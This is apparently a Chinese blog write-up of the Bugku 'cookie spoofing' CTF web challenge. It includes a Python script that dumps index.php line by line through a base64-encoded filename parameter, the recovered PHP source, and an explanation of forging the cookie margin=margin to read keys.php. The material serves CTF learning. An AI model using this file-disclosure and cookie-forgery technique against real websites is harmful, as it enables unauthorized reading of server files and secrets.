Bugku-cookie欺骗

2019年8月3日23:18:34 2 浏览量:730次

首页是一串乱码,但是可以从URL看出最后的$file参数的值是base64加密的
Bugku-cookie欺骗
解密之后得到加密的参数是key.txt,$line的参数什么都没有,作用是显示文件中对应的行的内容,如果是1就显示1行,由此我们编写脚本跑出index.php中对应的内容,脚本代码如下:

#!coding:utf-8
import requests
s = requests.session()

for i in range(20):
    url = 'http://123.206.87.240:8002/web11/index.php?line=%s&filename=aW5kZXgucGhw'%i
    get = s.get(url)
    text = get.text
    print text

脚本跑出的index.php内容如下,我对代码写了一些简单的注释:

  1. <?php
  2. error_reporting(0);  //屏蔽错误信息
  3. $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //将filename参数的值加密、没有值就为空
  4. $line=isset($_GET['line'])?intval($_GET['line']):0;  //判断line参数是否有值,如果没有值就默认给个0
  5. if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); //如果$file参数为空,URL就默认成header里面的东西
  6. //定义了一个文件列表
  7. $file_list = array(
  8. '0' =>'keys.txt',
  9. '1' =>'index.php',
  10. );
  11.  //如果cookie的值为 margin=margin,就给file_list列表里增加了一个keys.php
  12. if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
  13. $file_list[2]='keys.php';
  14. }
  15. //如果$file的文件名在file_list里面,就显示$file这个文件的内容
  16. if(in_array($file$file_list)){
  17. $fa = file($file);
  18. echo $fa[$line];
  19. }
  20. ?>

通过上面的代码我们可以看到,flag应该在keys.php这个文件中,如果filename=keys.php,并且cookie的值为 margin=margin,就会打印出flag,这里的filename的值需要base64加密,于是我们构造payload如下:
Bugku-cookie欺骗
成功拿到flag。。。

http://www.oniont.cn/index.php/archives/88.html

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:2   其中:访客  2   博主  0

    • pony pony 0

      恩,不错。继续努力

      • Alvin Alvin 1

        学习一下Cookie欺骗
        bugku过不去了